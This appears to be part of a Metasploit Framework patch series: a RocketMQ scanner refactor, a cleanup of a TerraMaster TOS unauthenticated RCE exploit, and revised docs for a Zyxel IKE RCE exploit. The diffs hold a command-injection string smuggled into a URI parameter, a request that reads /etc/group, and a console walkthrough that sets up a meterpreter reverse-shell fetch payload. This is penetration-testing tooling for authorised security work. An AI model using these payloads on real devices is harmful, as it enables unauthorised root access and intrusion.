"V5_2_5", + "V5_2_6_SNAPSHOT", + "V5_2_6", + "V5_2_7_SNAPSHOT", + "V5_2_7", + "V5_2_8_SNAPSHOT", + "V5_2_8", + "V5_2_9_SNAPSHOT", + "V5_2_9", + "V5_3_0_SNAPSHOT", + "V5_3_0", + "V5_3_1_SNAPSHOT", + "V5_3_1", + "V5_3_2_SNAPSHOT", + "V5_3_2", + "V5_3_3_SNAPSHOT", + "V5_3_3", + "V5_3_4_SNAPSHOT", + "V5_3_4", + "V5_3_5_SNAPSHOT", + "V5_3_5", + "V5_3_6_SNAPSHOT", + "V5_3_6", + "V5_3_7_SNAPSHOT", + "V5_3_7", + "V5_3_8_SNAPSHOT", + "V5_3_8", + "V5_3_9_SNAPSHOT", + "V5_3_9", + "V5_4_0_SNAPSHOT", + "V5_4_0", + "V5_4_1_SNAPSHOT", + "V5_4_1", + "V5_4_2_SNAPSHOT", + "V5_4_2", + "V5_4_3_SNAPSHOT", + "V5_4_3", + "V5_4_4_SNAPSHOT", + "V5_4_4", + "V5_4_5_SNAPSHOT", + "V5_4_5", + "V5_4_6_SNAPSHOT", + "V5_4_6", + "V5_4_7_SNAPSHOT", + "V5_4_7", + "V5_4_8_SNAPSHOT", + "V5_4_8", + "V5_4_9_SNAPSHOT", + "V5_4_9", + "V5_5_0_SNAPSHOT", + "V5_5_0", + "V5_5_1_SNAPSHOT", + "V5_5_1", + "V5_5_2_SNAPSHOT", + "V5_5_2", + "V5_5_3_SNAPSHOT", + "V5_5_3", + "V5_5_4_SNAPSHOT", + "V5_5_4", + "V5_5_5_SNAPSHOT", + "V5_5_5", + "V5_5_6_SNAPSHOT", + "V5_5_6", + "V5_5_7_SNAPSHOT", + "V5_5_7", + "V5_5_8_SNAPSHOT", + "V5_5_8", + "V5_5_9_SNAPSHOT", + "V5_5_9", + "V5_6_0_SNAPSHOT", + "V5_6_0", + "V5_6_1_SNAPSHOT", + "V5_6_1", + "V5_6_2_SNAPSHOT", + "V5_6_2", + "V5_6_3_SNAPSHOT", + "V5_6_3", + "V5_6_4_SNAPSHOT", + "V5_6_4", + "V5_6_5_SNAPSHOT", + "V5_6_5", + "V5_6_6_SNAPSHOT", + "V5_6_6", + "V5_6_7_SNAPSHOT", + "V5_6_7", + "V5_6_8_SNAPSHOT", + "V5_6_8", + "V5_6_9_SNAPSHOT", + "V5_6_9", + "V5_7_0_SNAPSHOT", + "V5_7_0", + "V5_7_1_SNAPSHOT", + "V5_7_1", + "V5_7_2_SNAPSHOT", + "V5_7_2", + "V5_7_3_SNAPSHOT", + "V5_7_3", + "V5_7_4_SNAPSHOT", + "V5_7_4", + "V5_7_5_SNAPSHOT", + "V5_7_5", + "V5_7_6_SNAPSHOT", + "V5_7_6", + "V5_7_7_SNAPSHOT", + "V5_7_7", + "V5_7_8_SNAPSHOT", + "V5_7_8", + "V5_7_9_SNAPSHOT", + "V5_7_9", + "V5_8_0_SNAPSHOT", + "V5_8_0", + "V5_8_1_SNAPSHOT", + "V5_8_1", + "V5_8_2_SNAPSHOT", + "V5_8_2", + "V5_8_3_SNAPSHOT", + "V5_8_3", + "V5_8_4_SNAPSHOT", + "V5_8_4", + "V5_8_5_SNAPSHOT", + "V5_8_5", + "V5_8_6_SNAPSHOT", + "V5_8_6", + "V5_8_7_SNAPSHOT", + "V5_8_7", + "V5_8_8_SNAPSHOT", + "V5_8_8", + "V5_8_9_SNAPSHOT", + "V5_8_9", + "V5_9_0_SNAPSHOT", + "V5_9_0", + "V5_9_1_SNAPSHOT", + "V5_9_1", + "V5_9_2_SNAPSHOT", + "V5_9_2", + "V5_9_3_SNAPSHOT", + "V5_9_3", + "V5_9_4_SNAPSHOT", + "V5_9_4", + "V5_9_5_SNAPSHOT", + "V5_9_5", + "V5_9_6_SNAPSHOT", + "V5_9_6", + "V5_9_7_SNAPSHOT", + "V5_9_7", + "V5_9_8_SNAPSHOT", + "V5_9_8", + "V5_9_9_SNAPSHOT", + "V5_9_9", + "HIGHER_VERSION" + ] \ No newline at end of file diff --git a/modules/auxiliary/scanner/misc/rocketmq_version.rb b/modules/auxiliary/scanner/misc/rocketmq_version.rb index 223a3ded583a6..df3d0f75e0da9 100644 --- a/modules/auxiliary/scanner/misc/rocketmq_version.rb +++ b/modules/auxiliary/scanner/misc/rocketmq_version.rb @@ -31,17 +31,17 @@ def initialize(info = {}) } ) ) - register_options([ Opt::RPORT(9876), ]) + register_options([ Opt::RPORT(9876) ]) end def get_version(id) - # from https://github.com/apache/rocketmq/blob/develop/common/src/main/java/org/apache/rocketmq/common/MQVersion.java - version_list = ['V3_0_0_SNAPSHOT', 'V3_0_0_ALPHA1', 'V3_0_0_BETA1', 'V3_0_0_BETA2', 'V3_0_0_BETA3', 'V3_0_0_BETA4', 'V3_0_0_BETA5', 'V3_0_0_BETA6_SNAPSHOT', 'V3_0_0_BETA6', 'V3_0_0_BETA7_SNAPSHOT', 'V3_0_0_BETA7', 'V3_0_0_BETA8_SNAPSHOT', 'V3_0_0_BETA8', 'V3_0_0_BETA9_SNAPSHOT', 'V3_0_0_BETA9', 'V3_0_0_FINAL', 'V3_0_1_SNAPSHOT', 'V3_0_1', 'V3_0_2_SNAPSHOT', 'V3_0_2', 'V3_0_3_SNAPSHOT', 'V3_0_3', 'V3_0_4_SNAPSHOT', 'V3_0_4', 'V3_0_5_SNAPSHOT', 'V3_0_5', 'V3_0_6_SNAPSHOT', 'V3_0_6', 'V3_0_7_SNAPSHOT', 'V3_0_7', 'V3_0_8_SNAPSHOT', 'V3_0_8', 'V3_0_9_SNAPSHOT', 'V3_0_9', 'V3_0_10_SNAPSHOT', 'V3_0_10', 'V3_0_11_SNAPSHOT', 'V3_0_11', 'V3_0_12_SNAPSHOT', 'V3_0_12', 'V3_0_13_SNAPSHOT', 'V3_0_13', 'V3_0_14_SNAPSHOT', 'V3_0_14', 'V3_0_15_SNAPSHOT', 'V3_0_15', 'V3_1_0_SNAPSHOT', 'V3_1_0', 'V3_1_1_SNAPSHOT', 'V3_1_1', 'V3_1_2_SNAPSHOT', 'V3_1_2', 'V3_1_3_SNAPSHOT', 'V3_1_3', 'V3_1_4_SNAPSHOT', 'V3_1_4', 'V3_1_5_SNAPSHOT', 'V3_1_5', 'V3_1_6_SNAPSHOT', 'V3_1_6', 'V3_1_7_SNAPSHOT', 'V3_1_7', 'V3_1_8_SNAPSHOT', 'V3_1_8', 'V3_1_9_SNAPSHOT', 'V3_1_9', 'V3_2_0_SNAPSHOT', 'V3_2_0', 'V3_2_1_SNAPSHOT', 'V3_2_1', 'V3_2_2_SNAPSHOT', 'V3_2_2', 'V3_2_3_SNAPSHOT', 'V3_2_3', 'V3_2_4_SNAPSHOT', 'V3_2_4', 'V3_2_5_SNAPSHOT', 'V3_2_5', 'V3_2_6_SNAPSHOT', 'V3_2_6', 'V3_2_7_SNAPSHOT', 'V3_2_7', 'V3_2_8_SNAPSHOT', 'V3_2_8', 'V3_2_9_SNAPSHOT', 'V3_2_9', 'V3_3_1_SNAPSHOT', 'V3_3_1', 'V3_3_2_SNAPSHOT', 'V3_3_2', 'V3_3_3_SNAPSHOT', 'V3_3_3', 'V3_3_4_SNAPSHOT', 'V3_3_4', 'V3_3_5_SNAPSHOT', 'V3_3_5', 'V3_3_6_SNAPSHOT', 'V3_3_6', 'V3_3_7_SNAPSHOT', 'V3_3_7', 'V3_3_8_SNAPSHOT', 'V3_3_8', 'V3_3_9_SNAPSHOT', 'V3_3_9', 'V3_4_1_SNAPSHOT', 'V3_4_1', 'V3_4_2_SNAPSHOT', 'V3_4_2', 'V3_4_3_SNAPSHOT', 'V3_4_3', 'V3_4_4_SNAPSHOT', 'V3_4_4', 'V3_4_5_SNAPSHOT', 'V3_4_5', 'V3_4_6_SNAPSHOT', 'V3_4_6', 'V3_4_7_SNAPSHOT', 'V3_4_7', 'V3_4_8_SNAPSHOT', 'V3_4_8', 'V3_4_9_SNAPSHOT', 'V3_4_9', 'V3_5_1_SNAPSHOT', 'V3_5_1', 'V3_5_2_SNAPSHOT', 'V3_5_2', 'V3_5_3_SNAPSHOT', 'V3_5_3', 'V3_5_4_SNAPSHOT', 'V3_5_4', 'V3_5_5_SNAPSHOT', 'V3_5_5', 'V3_5_6_SNAPSHOT', 'V3_5_6', 'V3_5_7_SNAPSHOT', 'V3_5_7', 'V3_5_8_SNAPSHOT', 'V3_5_8', 'V3_5_9_SNAPSHOT', 'V3_5_9', 'V3_6_1_SNAPSHOT', 'V3_6_1', 'V3_6_2_SNAPSHOT', 'V3_6_2', 'V3_6_3_SNAPSHOT', 'V3_6_3', 'V3_6_4_SNAPSHOT', 'V3_6_4', 'V3_6_5_SNAPSHOT', 'V3_6_5', 'V3_6_6_SNAPSHOT', 'V3_6_6', 'V3_6_7_SNAPSHOT', 'V3_6_7', 'V3_6_8_SNAPSHOT', 'V3_6_8', 'V3_6_9_SNAPSHOT', 'V3_6_9', 'V3_7_1_SNAPSHOT', 'V3_7_1', 'V3_7_2_SNAPSHOT', 'V3_7_2', 'V3_7_3_SNAPSHOT', 'V3_7_3', 'V3_7_4_SNAPSHOT', 'V3_7_4', 'V3_7_5_SNAPSHOT', 'V3_7_5', 'V3_7_6_SNAPSHOT', 'V3_7_6', 'V3_7_7_SNAPSHOT', 'V3_7_7', 'V3_7_8_SNAPSHOT', 'V3_7_8', 'V3_7_9_SNAPSHOT', 'V3_7_9', 'V3_8_1_SNAPSHOT', 'V3_8_1', 'V3_8_2_SNAPSHOT', 'V3_8_2', 'V3_8_3_SNAPSHOT', 'V3_8_3', 'V3_8_4_SNAPSHOT', 'V3_8_4', 'V3_8_5_SNAPSHOT', 'V3_8_5', 'V3_8_6_SNAPSHOT', 'V3_8_6', 'V3_8_7_SNAPSHOT', 'V3_8_7', 'V3_8_8_SNAPSHOT', 'V3_8_8', 'V3_8_9_SNAPSHOT', 'V3_8_9', 'V3_9_1_SNAPSHOT', 'V3_9_1', 'V3_9_2_SNAPSHOT', 'V3_9_2', 'V3_9_3_SNAPSHOT', 'V3_9_3', 'V3_9_4_SNAPSHOT', 'V3_9_4', 'V3_9_5_SNAPSHOT', 'V3_9_5', 'V3_9_6_SNAPSHOT', 'V3_9_6', 'V3_9_7_SNAPSHOT', 'V3_9_7', 'V3_9_8_SNAPSHOT', 'V3_9_8', 'V3_9_9_SNAPSHOT', 'V3_9_9', 'V4_0_0_SNAPSHOT', 'V4_0_0', 'V4_0_1_SNAPSHOT', 'V4_0_1', 'V4_0_2_SNAPSHOT', 'V4_0_2', 'V4_0_3_SNAPSHOT', 'V4_0_3', 'V4_0_4_SNAPSHOT', 'V4_0_4', 'V4_0_5_SNAPSHOT', 'V4_0_5', 'V4_0_6_SNAPSHOT', 'V4_0_6', 'V4_0_7_SNAPSHOT', 'V4_0_7', 'V4_0_8_SNAPSHOT', 'V4_0_8', 'V4_0_9_SNAPSHOT', 'V4_0_9', 'V4_1_0_SNAPSHOT', 'V4_1_0', 'V4_1_1_SNAPSHOT', 'V4_1_1', 'V4_1_2_SNAPSHOT', 'V4_1_2', 'V4_1_3_SNAPSHOT', 'V4_1_3', 'V4_1_4_SNAPSHOT', 'V4_1_4', 'V4_1_5_SNAPSHOT', 'V4_1_5', 'V4_1_6_SNAPSHOT', 'V4_1_6', 'V4_1_7_SNAPSHOT', 'V4_1_7', 'V4_1_8_SNAPSHOT', 'V4_1_8', 'V4_1_9_SNAPSHOT', 'V4_1_9', 'V4_2_0_SNAPSHOT', 'V4_2_0', 'V4_2_1_SNAPSHOT', 'V4_2_1', 'V4_2_2_SNAPSHOT', 'V4_2_2', 'V4_2_3_SNAPSHOT', 'V4_2_3', 'V4_2_4_SNAPSHOT', 'V4_2_4', 'V4_2_5_SNAPSHOT', 'V4_2_5', 'V4_2_6_SNAPSHOT', 'V4_2_6', 'V4_2_7_SNAPSHOT', 'V4_2_7', 'V4_2_8_SNAPSHOT', 'V4_2_8', 'V4_2_9_SNAPSHOT', 'V4_2_9', 'V4_3_0_SNAPSHOT', 'V4_3_0', 'V4_3_1_SNAPSHOT', 'V4_3_1', 'V4_3_2_SNAPSHOT', 'V4_3_2', 'V4_3_3_SNAPSHOT', 'V4_3_3', 'V4_3_4_SNAPSHOT', 'V4_3_4', 'V4_3_5_SNAPSHOT', 'V4_3_5', 'V4_3_6_SNAPSHOT', 'V4_3_6', 'V4_3_7_SNAPSHOT', 'V4_3_7', 'V4_3_8_SNAPSHOT', 'V4_3_8', 'V4_3_9_SNAPSHOT', 'V4_3_9', 'V4_4_0_SNAPSHOT', 'V4_4_0', 'V4_4_1_SNAPSHOT', 'V4_4_1', 'V4_4_2_SNAPSHOT', 'V4_4_2', 'V4_4_3_SNAPSHOT', 'V4_4_3', 'V4_4_4_SNAPSHOT', 'V4_4_4', 'V4_4_5_SNAPSHOT', 'V4_4_5', 'V4_4_6_SNAPSHOT', 'V4_4_6', 'V4_4_7_SNAPSHOT', 'V4_4_7', 'V4_4_8_SNAPSHOT', 'V4_4_8', 'V4_4_9_SNAPSHOT', 'V4_4_9', 'V4_5_0_SNAPSHOT', 'V4_5_0', 'V4_5_1_SNAPSHOT', 'V4_5_1', 'V4_5_2_SNAPSHOT', 'V4_5_2', 'V4_5_3_SNAPSHOT', 'V4_5_3', 'V4_5_4_SNAPSHOT', 'V4_5_4', 'V4_5_5_SNAPSHOT', 'V4_5_5', 'V4_5_6_SNAPSHOT', 'V4_5_6', 'V4_5_7_SNAPSHOT', 'V4_5_7', 'V4_5_8_SNAPSHOT', 'V4_5_8', 'V4_5_9_SNAPSHOT', 'V4_5_9', 'V4_6_0_SNAPSHOT', 'V4_6_0', 'V4_6_1_SNAPSHOT', 'V4_6_1', 'V4_6_2_SNAPSHOT', 'V4_6_2', 'V4_6_3_SNAPSHOT', 'V4_6_3', 'V4_6_4_SNAPSHOT', 'V4_6_4', 'V4_6_5_SNAPSHOT', 'V4_6_5', 'V4_6_6_SNAPSHOT', 'V4_6_6', 'V4_6_7_SNAPSHOT', 'V4_6_7', 'V4_6_8_SNAPSHOT', 'V4_6_8', 'V4_6_9_SNAPSHOT', 'V4_6_9', 'V4_7_0_SNAPSHOT', 'V4_7_0', 'V4_7_1_SNAPSHOT', 'V4_7_1', 'V4_7_2_SNAPSHOT', 'V4_7_2', 'V4_7_3_SNAPSHOT', 'V4_7_3', 'V4_7_4_SNAPSHOT', 'V4_7_4', 'V4_7_5_SNAPSHOT', 'V4_7_5', 'V4_7_6_SNAPSHOT', 'V4_7_6', 'V4_7_7_SNAPSHOT', 'V4_7_7', 'V4_7_8_SNAPSHOT', 'V4_7_8', 'V4_7_9_SNAPSHOT', 'V4_7_9', 'V4_8_0_SNAPSHOT', 'V4_8_0', 'V4_8_1_SNAPSHOT', 'V4_8_1', 'V4_8_2_SNAPSHOT', 'V4_8_2', 'V4_8_3_SNAPSHOT', 'V4_8_3', 'V4_8_4_SNAPSHOT', 'V4_8_4', 'V4_8_5_SNAPSHOT', 'V4_8_5', 'V4_8_6_SNAPSHOT', 'V4_8_6', 'V4_8_7_SNAPSHOT', 'V4_8_7', 'V4_8_8_SNAPSHOT', 'V4_8_8', 'V4_8_9_SNAPSHOT', 'V4_8_9', 'V4_9_0_SNAPSHOT', 'V4_9_0', 'V4_9_1_SNAPSHOT', 'V4_9_1', 'V4_9_2_SNAPSHOT', 'V4_9_2', 'V4_9_3_SNAPSHOT', 'V4_9_3', 'V4_9_4_SNAPSHOT', 'V4_9_4', 'V4_9_5_SNAPSHOT', 'V4_9_5', 'V4_9_6_SNAPSHOT', 'V4_9_6', 'V4_9_7_SNAPSHOT', 'V4_9_7', 'V4_9_8_SNAPSHOT', 'V4_9_8', 'V4_9_9_SNAPSHOT', 'V4_9_9', 'V5_0_0_SNAPSHOT', 'V5_0_0', 'V5_0_1_SNAPSHOT', 'V5_0_1', 'V5_0_2_SNAPSHOT', 'V5_0_2', 'V5_0_3_SNAPSHOT', 'V5_0_3', 'V5_0_4_SNAPSHOT', 'V5_0_4', 'V5_0_5_SNAPSHOT', 'V5_0_5', 'V5_0_6_SNAPSHOT', 'V5_0_6', 'V5_0_7_SNAPSHOT', 'V5_0_7', 'V5_0_8_SNAPSHOT', 'V5_0_8', 'V5_0_9_SNAPSHOT', 'V5_0_9', 'V5_1_0_SNAPSHOT', 'V5_1_0', 'V5_1_1_SNAPSHOT', 'V5_1_1', 'V5_1_2_SNAPSHOT', 'V5_1_2', 'V5_1_3_SNAPSHOT', 'V5_1_3', 'V5_1_4_SNAPSHOT', 'V5_1_4', 'V5_1_5_SNAPSHOT', 'V5_1_5', 'V5_1_6_SNAPSHOT', 'V5_1_6', 'V5_1_7_SNAPSHOT', 'V5_1_7', 'V5_1_8_SNAPSHOT', 'V5_1_8', 'V5_1_9_SNAPSHOT', 'V5_1_9', 'V5_2_0_SNAPSHOT', 'V5_2_0', 'V5_2_1_SNAPSHOT', 'V5_2_1', 'V5_2_2_SNAPSHOT', 'V5_2_2', 'V5_2_3_SNAPSHOT', 'V5_2_3', 'V5_2_4_SNAPSHOT', 'V5_2_4', 'V5_2_5_SNAPSHOT', 'V5_2_5', 'V5_2_6_SNAPSHOT', 'V5_2_6', 'V5_2_7_SNAPSHOT', 'V5_2_7', 'V5_2_8_SNAPSHOT', 'V5_2_8', 'V5_2_9_SNAPSHOT', 'V5_2_9', 'V5_3_0_SNAPSHOT', 'V5_3_0', 'V5_3_1_SNAPSHOT', 'V5_3_1', 'V5_3_2_SNAPSHOT', 'V5_3_2', 'V5_3_3_SNAPSHOT', 'V5_3_3', 'V5_3_4_SNAPSHOT', 'V5_3_4', 'V5_3_5_SNAPSHOT', 'V5_3_5', 'V5_3_6_SNAPSHOT', 'V5_3_6', 'V5_3_7_SNAPSHOT', 'V5_3_7', 'V5_3_8_SNAPSHOT', 'V5_3_8', 'V5_3_9_SNAPSHOT', 'V5_3_9', 'V5_4_0_SNAPSHOT', 'V5_4_0', 'V5_4_1_SNAPSHOT', 'V5_4_1', 'V5_4_2_SNAPSHOT', 'V5_4_2', 'V5_4_3_SNAPSHOT', 'V5_4_3', 'V5_4_4_SNAPSHOT', 'V5_4_4', 'V5_4_5_SNAPSHOT', 'V5_4_5', 'V5_4_6_SNAPSHOT', 'V5_4_6', 'V5_4_7_SNAPSHOT', 'V5_4_7', 'V5_4_8_SNAPSHOT', 'V5_4_8', 'V5_4_9_SNAPSHOT', 'V5_4_9', 'V5_5_0_SNAPSHOT', 'V5_5_0', 'V5_5_1_SNAPSHOT', 'V5_5_1', 'V5_5_2_SNAPSHOT', 'V5_5_2', 'V5_5_3_SNAPSHOT', 'V5_5_3', 'V5_5_4_SNAPSHOT', 'V5_5_4', 'V5_5_5_SNAPSHOT', 'V5_5_5', 'V5_5_6_SNAPSHOT', 'V5_5_6', 'V5_5_7_SNAPSHOT', 'V5_5_7', 'V5_5_8_SNAPSHOT', 'V5_5_8', 'V5_5_9_SNAPSHOT', 'V5_5_9', 'V5_6_0_SNAPSHOT', 'V5_6_0', 'V5_6_1_SNAPSHOT', 'V5_6_1', 'V5_6_2_SNAPSHOT', 'V5_6_2', 'V5_6_3_SNAPSHOT', 'V5_6_3', 'V5_6_4_SNAPSHOT', 'V5_6_4', 'V5_6_5_SNAPSHOT', 'V5_6_5', 'V5_6_6_SNAPSHOT', 'V5_6_6', 'V5_6_7_SNAPSHOT', 'V5_6_7', 'V5_6_8_SNAPSHOT', 'V5_6_8', 'V5_6_9_SNAPSHOT', 'V5_6_9', 'V5_7_0_SNAPSHOT', 'V5_7_0', 'V5_7_1_SNAPSHOT', 'V5_7_1', 'V5_7_2_SNAPSHOT', 'V5_7_2', 'V5_7_3_SNAPSHOT', 'V5_7_3', 'V5_7_4_SNAPSHOT', 'V5_7_4', 'V5_7_5_SNAPSHOT', 'V5_7_5', 'V5_7_6_SNAPSHOT', 'V5_7_6', 'V5_7_7_SNAPSHOT', 'V5_7_7', 'V5_7_8_SNAPSHOT', 'V5_7_8', 'V5_7_9_SNAPSHOT', 'V5_7_9', 'V5_8_0_SNAPSHOT', 'V5_8_0', 'V5_8_1_SNAPSHOT', 'V5_8_1', 'V5_8_2_SNAPSHOT', 'V5_8_2', 'V5_8_3_SNAPSHOT', 'V5_8_3', 'V5_8_4_SNAPSHOT', 'V5_8_4', 'V5_8_5_SNAPSHOT', 'V5_8_5', 'V5_8_6_SNAPSHOT', 'V5_8_6', 'V5_8_7_SNAPSHOT', 'V5_8_7', 'V5_8_8_SNAPSHOT', 'V5_8_8', 'V5_8_9_SNAPSHOT', 'V5_8_9', 'V5_9_0_SNAPSHOT', 'V5_9_0', 'V5_9_1_SNAPSHOT', 'V5_9_1', 'V5_9_2_SNAPSHOT', 'V5_9_2', 'V5_9_3_SNAPSHOT', 'V5_9_3', 'V5_9_4_SNAPSHOT', 'V5_9_4', 'V5_9_5_SNAPSHOT', 'V5_9_5', 'V5_9_6_SNAPSHOT', 'V5_9_6', 'V5_9_7_SNAPSHOT', 'V5_9_7', 'V5_9_8_SNAPSHOT', 'V5_9_8', 'V5_9_9_SNAPSHOT', 'V5_9_9', 'HIGHER_VERSION'] - version_list[id] + # from https://github.com/apache/rocketmq/blob/develop/common/src/4d82b307ef50f5cba5717d0ebafeb3cabf336873/java/org/apache/rocketmq/common/MQVersion.java + version_list = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'rocketmq_versions_list.json'), mode: 'rb')) + version_list.fetch(id, "UNKNOWN_VERSION_ID_#{id})") end def run_host(_ip) - # https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py#L68 + # https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/e27693a854a8e3b2863dc366f36002107e3595de/check.py#L68 data = '{"code":105,"extFields":{"Signature":"/u5P/wZUbhjanu4LM/UzEdo2u2I=","topic":"TBW102","AccessKey":"rocketmq2"},"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":401}' data_length = "\x00\x00\x00" + [data.length].pack('C') header = "\x00\x00\x00" + [data.length + data_length.length].pack('C') From dfc366e022ffa438da15bc817b965268d092e6bb Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 8 Jun 2023 21:25:40 +0000 Subject: [PATCH 345/415] Latest updates based on reviewers comments --- .../terramaster_unauth_rce_cve_2021_45837.rb | 50 +++++++------------ 1 file changed, 18 insertions(+), 32 deletions(-) diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb index 38ff2d22259d4..d0dcc690915ae 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb @@ -21,7 +21,7 @@ def initialize(info = {}) 'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.', 'Description' => %q{ Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows - an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected. + an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected. CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint. This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker @@ -124,6 +124,16 @@ def tos_encrypt_str(key, str_to_encrypt) return Digest::MD5.hexdigest(id.encode('utf-8')) end + def get_headers + { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + } + end + def download_admin_users # Initialise instance variable admin_users to store the admin users from /etc/group @admin_users = [] @@ -136,13 +146,7 @@ def download_admin_users 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}", - 'headers' => { - 'User-Agent' => 'TNAS', - 'User-Device' => 'TNAS', - 'Authorization' => @data['password'], - 'Signature' => @data['signature'], - 'Timestamp' => @data['timestamp'] - }, + 'headers' => get_headers, 'vars_post' => { 'path' => '/etc/group' } @@ -176,13 +180,7 @@ def get_session 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}", - 'headers' => { - 'User-Agent' => 'TNAS', - 'User-Device' => 'TNAS', - 'Authorization' => @data['password'], - 'Signature' => @data['signature'], - 'Timestamp' => @data['timestamp'] - } + 'headers' => get_headers }) if res && res.code == 302 && !res.body.include?(marker.to_s) # Send second request to establish a session and break from the loop if true. @@ -191,13 +189,7 @@ def get_session 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, - 'headers' => { - 'User-Agent' => 'TNAS', - 'User-Device' => 'TNAS', - 'Authorization' => @data['password'], - 'Signature' => @data['signature'], - 'Timestamp' => @data['timestamp'] - } + 'headers' => get_headers }) end next unless res && res.code == 200 && res.body.include?(marker.to_s) @@ -205,7 +197,7 @@ def get_session session = true break end - return session + session end def get_terramaster_info @@ -245,13 +237,7 @@ def execute_command(cmd, _opts = {}) 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, - 'headers' => { - 'User-Agent' => 'TNAS', - 'User-Device' => 'TNAS', - 'Authorization' => @data['password'], - 'Signature' => @data['signature'], - 'Timestamp' => @data['timestamp'] - } + 'headers' => get_headers }) end @@ -261,9 +247,9 @@ def check if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15') return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") - else - return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") end + + CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") end def exploit From 31c65c8a351760e395a84ba23cc79c6ff7e1286c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 8 Jun 2023 19:33:07 -0500 Subject: [PATCH 346/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 42f61991387ce..d16c4976acb85 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -227033,7 +227033,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-05 13:36:30 +0000", + "mod_time": "2023-06-06 07:23:58 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", From 27f5a789c914dac941083c153210a69168f38464 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 9 Jun 2023 09:36:50 +0100 Subject: [PATCH 347/415] rework the exploit to use the new MIPS64 fetch payload adapters. Removed the seperate command and dropper targets in favor of a single default target which can do both thanks to fetch payloads. Removed the redundant IO select() call which was bad copy pasta on my part. --- .../zyxel_ike_decoder_rce_cve_2023_28771.md | 168 +++++------------- .../zyxel_ike_decoder_rce_cve_2023_28771.rb | 61 ++----- 2 files changed, 63 insertions(+), 166 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md index 02a6459cc8e97..943d6ee2b634e 100644 --- a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md +++ b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md @@ -23,139 +23,55 @@ The attacker must be able to send UDP data to port 500 on the WAN interface of t 2. `use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771` 3. `set RHOST ` 4. `set LHOST eth0` -5. `check` -6. `exploit` -7. The default target `0` is a `cmd/unix/reverse_bash` payload. A root command shell session should be created. +5. `set FETCH_SRVHOST eth0` +6. `check` +7. `exploit` +8. The default target `0` uses a `cmd/linux/http/mips64/meterpreter_reverse_tcp` payload. A meterpreter session with +root privileges should be created. ## Scenarios -### Linux Command (Zyxel USG FLEX 100) +### Default Target (Zyxel USG FLEX 100) ``` msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 -[*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOST 192.168.86.40 -RHOST => 192.168.86.40 +[*] Using configured payload cmd/linux/http/mips64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOSTS 192.168.86.40 +RHOSTS => 192.168.86.40 msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 -LHOST => eth0 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options +LHOST => 192.168.86.42 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set FETCH_SRVHOST eth0 +FETCH_SRVHOST => 192.168.86.42 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): - Name Current Setting Required Description - 